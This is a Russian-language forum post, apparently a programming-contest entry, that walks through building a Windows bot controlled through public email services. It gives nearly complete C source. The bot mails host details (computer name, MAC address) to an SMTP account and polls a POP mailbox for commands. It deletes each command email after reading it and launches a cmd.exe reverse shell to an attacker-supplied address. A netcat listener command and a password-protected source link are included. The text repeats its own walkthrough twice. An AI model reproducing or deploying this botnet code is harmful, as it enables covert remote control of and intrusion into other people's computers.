Статья для участия в Конкурсе программистов(Впервые на нашем форуме, объявляется конкурс программистов!)
Основная идея заключается в том, чтобы использовать в качестве сервера для контроля ботов любой общедоступный почтовый сервер - например Gmail, Yandex, Mail.ru.
Проект написан на Microsoft Visual Studio. Почти все бесплатные почтовые сервисы требуют шифрования для обмена данными именно поэтому мы будем использовать библиотеку OpenSSL.
Качаем openssl с сайта
Распаковываем и копируем папку с файлами из include\openssl\* в "%путь до Microsoft Visual Studio%"\VC\include. У меня это C:\Program Files\Microsoft Visual Studio 10.0\VC\include
Далее нам нужно скопировать два файла libeay32.lib и ssleay32.lib. Кладём их в папку с проектом в projects/mails/mails
У меня они уже там лежат.
Основная часть программы состоит из 3х функций:
1. Получение данных о системе - функция sysinfo
2. Отправка информационного сообщения на электронный адрес - функция sendinfo
3. Извлечение команды для бота из почтового сообщения - функция getcommand
Начнём с функции main:
Далее рассмотрим функцию sysinfo().
Здесь мы получаем данные о системе и создаём наше будущее информационное сообщение.
Уникальным идентификатором системы я решил использовать MAC-адрес компьютера, он
понадобится, когда мы будем создавать команду для бота, но об этом позже…
Вначале мы получаем дату, время и имя компьютера, затем извлекаем MAC-адрес.
Далее формируем SMTP сообщение.
Функция sysinfo:
Функция получения MAC-адреса:
В моей программе я использовал один почтовый ящик, но никто не мешает
вам использовать разные email для отправки информационных сообщений и для получения команд.
Для аутентификации на SMTP сервере требуется передача логина и пароля закодированных в base64 для этого можно использовать командную строку linux:
Не забудьте слэш для собаки(@) в первой команде.
Файл config.h содержит переменные, которые вам нужно установить в свои значения.
Это: smtp_server, smtp_hello, smtp_user, smtp_pass, smtp_mail, smtp_rcpt,
pop_user, pop_pass, pop_server
Внимательно проверьте каждую...
Здесь также стоит обратить внимание на константы TSEND и TREAD - первая служит интервалом для отправки информационных сообщений через SMTP.
Вторая для чтения команд с POP-сервера.
Значение указывается в миллисекундах. 1000 - это 1 секунда.
Можете выставить любое значение.
Рассмотрим функцию sendinfo. Здесь нету ничего сложного.
Создаём клиентский SSL-контекст (SSL_CTX_new, SSL_new), связываем ssl структуру с сокетом(SSL_set_fd), отправка
сообщений с заданным интервалом. В коде я постарался минимизировать обработку ошибок, но никто не мешает вам её дописать
Основное сердце программы - функция getcommand.
Здесь стоит обратить внимание на формирование строки в переменной uniq:
Функция strsub будет искать именно эту строку в письме. И если не найдёт, то перейдёт к другому письму и т.д.
[/I]
Для нашего теста я отправлю самому себе команду в поле Subject.
Она будет формироваться по следующему шаблону:
uid%macaddr%*%command%*%param1%:%param2%
Полностью команда будет выглядеть так:
uid080027e6d096*rshell*192.168.56.10:31337
Внимание! В Вашем примере строка будет отличаться. Изменится MAC-адрес!
Функция getcommand:
После парсинга команды вызывается функция revshell, которая запускает cmd.exe и устанавливает удалённое соединение . В нашем случае это 192.168.56.10 порт 31337
Функция revshell:
На 192.168.56.10 в консоли запускаем:
nc -vlp 31337
и получаем заветный шелл )
Ссылка на исходники:
Пасс: codeby.net
Вообщем это всё что хотелось показать.
Приветствуется любая критика.
Основная идея заключается в том, чтобы использовать в качестве сервера для контроля ботов любой общедоступный почтовый сервер - например Gmail, Yandex, Mail.ru.
Проект написан на Microsoft Visual Studio. Почти все бесплатные почтовые сервисы требуют шифрования для обмена данными именно поэтому мы будем использовать библиотеку OpenSSL.
Качаем openssl с сайта
Ссылка скрыта от гостей
Распаковываем и копируем папку с файлами из include\openssl\* в "%путь до Microsoft Visual Studio%"\VC\include. У меня это C:\Program Files\Microsoft Visual Studio 10.0\VC\include
Далее нам нужно скопировать два файла libeay32.lib и ssleay32.lib. Кладём их в папку с проектом в projects/mails/mails
У меня они уже там лежат.
Основная часть программы состоит из 3х функций:
1. Получение данных о системе - функция sysinfo
2. Отправка информационного сообщения на электронный адрес - функция sendinfo
3. Извлечение команды для бота из почтового сообщения - функция getcommand
Начнём с функции main:
C:
// Инициализируем библиотеку для работы с windows сокетами
WSADATA wsaData;
WSAStartup(MAKEWORD(2,2), &wsaData);
// Инициализация библиотеки ssl
SSLeay_add_ssl_algorithms();
client_method = SSLv23_client_method();
SSL_load_error_strings();
SSL_library_init();
// Функция получения информации о системе
if (!sysinfo()) { ExitProcess(NULL); }
// Поток на отправку информации о системе
HANDLE htread;
htread = CreateThread(0,0,sendinfo,0,0,0);
if (htread == NULL)
{
ExitProcess(NULL);
}
// Поток на получение команды от сервера
htread = CreateThread(0,0,getcommand,0,0,0);
if (htread == NULL)
{
ExitProcess(NULL);
}
// Эта строка необходима, чтобы программа не завершалась после запуска потоков
WaitForSingleObject( htread, INFINITE );
WSACleanup();
ExitProcess(NULL);
Далее рассмотрим функцию sysinfo().
Здесь мы получаем данные о системе и создаём наше будущее информационное сообщение.
Уникальным идентификатором системы я решил использовать MAC-адрес компьютера, он
понадобится, когда мы будем создавать команду для бота, но об этом позже…
Вначале мы получаем дату, время и имя компьютера, затем извлекаем MAC-адрес.
Далее формируем SMTP сообщение.
Функция sysinfo:
C:
BOOL WINAPI sysinfo()
{
DWORD szName = 255;
char computer[256];
char date[32];
char time[32];
GetDateFormat(NULL,NULL,NULL,"ddMMyy",date,sizeof(date));
GetTimeFormat(NULL,NULL,NULL,"hhtt':'mm':'ss",time,sizeof(time));
GetComputerName(computer,&szName);
memset(mac,0,sizeof(mac));
if (!getdMacAddresses(mac,sizeof(mac))) { return false; }
//Формируем SMTP заголовок для отправки нашего информационного сообщения
memset(smtp_message,0,sizeof(smtp_message));
strcpy(smtp_message,"Subject: ");
strcat(smtp_message,computer);
strcat(smtp_message,"\r\nMIME-Version: 1.0\r\n");
strcat(smtp_message,"Content-Type: text/plain; charset=\"Windows-1251\"\r\n");
strcat(smtp_message,"Content-Transfer-Encoding: 7bit\r\n\r\n");
strcat(smtp_message,"\r\n mac: ");
strcat(smtp_message,mac);
strcat(smtp_message,"\r\n date: ");
strcat(smtp_message,date);
strcat(smtp_message,"\r\n time: ");
strcat(smtp_message,time);
strcat(smtp_message,"\r\n.\r\n");
return true;
}
Функция получения MAC-адреса:
C:
bool getdMacAddresses(char *szBuffer,int sizeBuff)
{
IP_ADAPTER_INFO AdapterInfo[32]; // Allocate information for up to 32 NICs
DWORD dwBufLen = sizeof(AdapterInfo); // Save memory size of buffer
DWORD dwStatus = GetAdaptersInfo( // Call GetAdapterInfo
AdapterInfo, // [out] buffer to receive data
&dwBufLen); // [in] size of receive data buffer
if (dwStatus != ERROR_SUCCESS)
return false;
PIP_ADAPTER_INFO pAdapterInfo = AdapterInfo;
while (pAdapterInfo)
{
if (pAdapterInfo->Type == MIB_IF_TYPE_ETHERNET)
{
sprintf_s(szBuffer, sizeBuff, "%.2x%.2x%.2x%.2x%.2x%.2x"
, pAdapterInfo->Address[0]
, pAdapterInfo->Address[1]
, pAdapterInfo->Address[2]
, pAdapterInfo->Address[3]
, pAdapterInfo->Address[4]
, pAdapterInfo->Address[5]
);
return true;
}
pAdapterInfo = pAdapterInfo->Next;
}
return false;
}
В моей программе я использовал один почтовый ящик, но никто не мешает
вам использовать разные email для отправки информационных сообщений и для получения команд.
Для аутентификации на SMTP сервере требуется передача логина и пароля закодированных в base64 для этого можно использовать командную строку linux:
perl -MMIME::Base64 -e 'print encode_base64("user8\@srv1.ru");'
perl -MMIME::Base64 -e 'print encode_base64("test111test");'
Не забудьте слэш для собаки(@) в первой команде.
Файл config.h содержит переменные, которые вам нужно установить в свои значения.
Это: smtp_server, smtp_hello, smtp_user, smtp_pass, smtp_mail, smtp_rcpt,
pop_user, pop_pass, pop_server
Внимательно проверьте каждую...
Здесь также стоит обратить внимание на константы TSEND и TREAD - первая служит интервалом для отправки информационных сообщений через SMTP.
Вторая для чтения команд с POP-сервера.
Значение указывается в миллисекундах. 1000 - это 1 секунда.
Можете выставить любое значение.
Рассмотрим функцию sendinfo. Здесь нету ничего сложного.
Создаём клиентский SSL-контекст (SSL_CTX_new, SSL_new), связываем ssl структуру с сокетом(SSL_set_fd), отправка
сообщений с заданным интервалом. В коде я постарался минимизировать обработку ошибок, но никто не мешает вам её дописать
C:
Функция sendinfo:
DWORD WINAPI sendinfo(LPVOID lpParam)
{
SSL *ssl;
SSL_CTX *ctx;
int err;
char rbuff[2048];
SOCKET sock;
SOCKADDR_IN sockaddr_in;
ctx = SSL_CTX_new(client_method);
if (ctx == NULL) ExitProcess(NULL);
ssl = SSL_new(ctx);
if (ssl == NULL) ExitProcess(NULL);
SSL_CTX_free(ctx);
while(true)
{
Sleep(TSEND);
memset(&sockaddr_in,0,sizeof(sockaddr_in));
char *hstaddr = GetIpByHostname(smtp_server);
if (hstaddr == 0) { return false; }
sockaddr_in.sin_addr.s_addr = inet_addr(hstaddr);
sockaddr_in.sin_family = AF_INET;
sockaddr_in.sin_port = htons(SMTP_PORT);
sock = socket(AF_INET,SOCK_STREAM,0);
if (sock != INVALID_SOCKET)
{
int result = connect(sock, (struct sockaddr *)&sockaddr_in, sizeof(sockaddr_in));
if (result != SOCKET_ERROR)
{
SSL_set_fd(ssl, sock);
err = SSL_connect(ssl);
err = SSL_write(ssl, smtp_hello, strlen(smtp_hello));
err = SSL_read(ssl, rbuff, sizeof(rbuff));
err = SSL_write(ssl, smtp_auth, strlen(smtp_auth));
err = SSL_read(ssl, rbuff, sizeof(rbuff));
err = SSL_write(ssl, smtp_user, strlen(smtp_user));
err = SSL_read(ssl, rbuff, sizeof(rbuff));
err = SSL_write(ssl, smtp_pass, strlen(smtp_pass));
err = SSL_read(ssl, rbuff, sizeof(rbuff));
err = SSL_write(ssl, smtp_mail, strlen(smtp_mail));
err = SSL_read(ssl, rbuff, sizeof(rbuff));
err = SSL_write(ssl, smtp_rcpt, strlen(smtp_rcpt));
err = SSL_read(ssl, rbuff, sizeof(rbuff));
err = SSL_write(ssl, smtp_data, strlen(smtp_data));
err = SSL_read(ssl, rbuff, sizeof(rbuff));
err = SSL_write(ssl, smtp_message, strlen(smtp_message));
err = SSL_read(ssl, rbuff, sizeof(rbuff));
err = SSL_write(ssl, smtp_quit, strlen(smtp_quit));
err = SSL_read(ssl, rbuff, sizeof(rbuff));
}
}
closesocket(sock);
}
}
Основное сердце программы - функция getcommand.
Здесь стоит обратить внимание на формирование строки в переменной uniq:
char uniq[32];
strcpy(uniq,"uid");
strcat(uniq,mac);
strcat(uniq,"*");
Функция strsub будет искать именно эту строку в письме. И если не найдёт, то перейдёт к другому письму и т.д.
C:
/*
*--------------------------------------------------------------------------------------
* Функция поиска подстроки
*
* str1 - строка в которой ищем подстроку
* size1 - размер строки str1
* str2 - подстрока
* size2 - размер подстроки str2
*
* Возвращает NULL если подстрока не найдена
*--------------------------------------------------------------------------------------
*/
char* WINAPI strsub(char *str1,int size1,char *str2,int size2)
{
LPSTR result = NULL;
for(INT i = 0; i < size1; i++)
{
if(str1[I] == str2[0])
{
for(INT j = 0; j < size2; j++)
{
if(str1[i+j] == str2[j])
{
result = (str1+i);
}
else
{
result = NULL;
break;
}
}
if(result != NULL)
{
return result;
}
}
}
return result;
}
Для нашего теста я отправлю самому себе команду в поле Subject.
Она будет формироваться по следующему шаблону:
uid%macaddr%*%command%*%param1%:%param2%
Полностью команда будет выглядеть так:
uid080027e6d096*rshell*192.168.56.10:31337
Внимание! В Вашем примере строка будет отличаться. Изменится MAC-адрес!
Функция getcommand:
C:
DWORD WINAPI getcommand(LPVOID lpParam)
{
SSL *ssl;
SSL_CTX *ctx;
int cmdfound;
int err;
char cmdbuff[32];
char rbuff[4096];
SOCKET sock;
SOCKADDR_IN sockaddr_in;
ctx = SSL_CTX_new(client_method);
if (ctx == NULL) ExitProcess(NULL);
ssl = SSL_new(ctx);
if (ssl == NULL) ExitProcess(NULL);
SSL_CTX_free(ctx);
// Формируем уникальную строку для поиска команды в сообщении
// Формат команды: uid%macaddr%*%command%*%param1%:%param2%
char uniq[32];
strcpy(uniq,"uid");
strcat(uniq,mac);
strcat(uniq,"*");
while(true)
{
Sleep(TREAD);
memset(&sockaddr_in,0,sizeof(sockaddr_in));
char *hstaddr = GetIpByHostname(pop_server);
if (hstaddr == 0) { return false; }
sockaddr_in.sin_addr.s_addr = inet_addr(hstaddr);
sockaddr_in.sin_family = AF_INET;
sockaddr_in.sin_port = htons(POP_PORT);
sock = socket(AF_INET,SOCK_STREAM,0);
if (sock != INVALID_SOCKET)
{
int result = connect(sock, (struct sockaddr *)&sockaddr_in, sizeof(sockaddr_in));
if (result != SOCKET_ERROR)
{
SSL_set_fd(ssl, sock);
err = SSL_connect(ssl);
memset(&rbuff,0,sizeof(rbuff));
err = SSL_read(ssl, rbuff, sizeof(rbuff));
err = SSL_write(ssl, pop_user, strlen(pop_user));
err = SSL_read(ssl, rbuff, sizeof(rbuff));
err = SSL_write(ssl, pop_pass, strlen(pop_pass));
err = SSL_read(ssl, rbuff, sizeof(rbuff));
err = SSL_write(ssl, pop_stat, strlen(pop_stat));
err = SSL_read(ssl, rbuff, sizeof(rbuff));
// Получаем статус запроса и кол-во сообщений
char *stat = strtok(rbuff, " ");
char *msgs = strtok(NULL, " ");
int msgsc = atoi(msgs);
// Если что-то не так - выходим
if (strcmp(stat,"+OK") > 0)
{
err = SSL_write(ssl, pop_quit, strlen(pop_quit));
err = SSL_read(ssl, rbuff, sizeof(rbuff));
closesocket(sock);
continue;
}
// Если нету сообщений, то выходим
if (msgsc == 0)
{
err = SSL_write(ssl, pop_quit, strlen(pop_quit));
err = SSL_read(ssl, rbuff, sizeof(rbuff));
closesocket(sock);
continue;
}
cmdfound=0;
// Читаем сообщения
for (int i=1;i<=msgsc;i++)
{
memset(&rbuff,0,sizeof(rbuff));
wsprintf(cmdbuff,"%s%d%s",pop_retr,i,crlf);
err = SSL_write(ssl, cmdbuff, strlen(cmdbuff));
err = SSL_read(ssl, rbuff, sizeof(rbuff));
int msgsize = err;
for (int j=0;j<msgsize;j++)
{
// Ищем уникальную строку в сообщении
char *cmdtag = strsub(rbuff+j,msgsize-j,uniq,lstrlen(uniq));
if (cmdtag)
{
char *uid = strtok(cmdtag,"*");
char *cmd = strtok(NULL,"*");
char *args = strtok(NULL,"\r\n");
// Проверяем какая команда прилетела. у нас пока только одна
if (strcmp(cmd,"rshell")==0)
{
// Получаем аргументы команды ip и порт
char *ip = strtok(args,":");
char *port = strtok(NULL,":");
// Реверс шелл cmd.exe
revshell(ip,atoi(port));
}
// удаляем письмо с командой
wsprintf(cmdbuff,"%s%d%s",pop_dele,i,crlf);
err = SSL_write(ssl, cmdbuff, strlen(cmdbuff));
err = SSL_read(ssl, rbuff, sizeof(rbuff));
cmdfound = true;
break;
}
}
if (cmdfound) break;
}
err = SSL_write(ssl, pop_quit, strlen(pop_quit));
err = SSL_read(ssl, rbuff, sizeof(rbuff));
}
}
closesocket(sock);
}
}
После парсинга команды вызывается функция revshell, которая запускает cmd.exe и устанавливает удалённое соединение . В нашем случае это 192.168.56.10 порт 31337
Функция revshell:
C:
bool WINAPI revshell(char* ip, u_short port)
{
SOCKET sock;
struct sockaddr_in hax;
STARTUPINFO sui;
PROCESS_INFORMATION pi;
sock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL,
(unsigned int)NULL, (unsigned int)NULL);
if (sock != INVALID_SOCKET)
{
hax.sin_family = AF_INET;
hax.sin_port = htons(port);
hax.sin_addr.s_addr = inet_addr(ip);
if (WSAConnect(sock, (SOCKADDR*)&hax, sizeof(hax), NULL, NULL, NULL, NULL)== 0)
{
memset(&sui, 0, sizeof(sui));
sui.cb = sizeof(sui);
sui.dwFlags = (STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW);
sui.hStdInput = sui.hStdOutput = sui.hStdError = (HANDLE) sock;
TCHAR commandLine[256] = "cmd.exe";
if(CreateProcess(NULL, commandLine, NULL, NULL, TRUE,0, NULL, NULL, &sui, &pi) == 0) { closesocket(sock); return false; }
}
closesocket(sock);
return true;
}
return false;
}
На 192.168.56.10 в консоли запускаем:
nc -vlp 31337
и получаем заветный шелл )
Ссылка на исходники:
Ссылка скрыта от гостей
Пасс: codeby.net
Вообщем это всё что хотелось показать.
Приветствуется любая критика.
Последнее редактирование: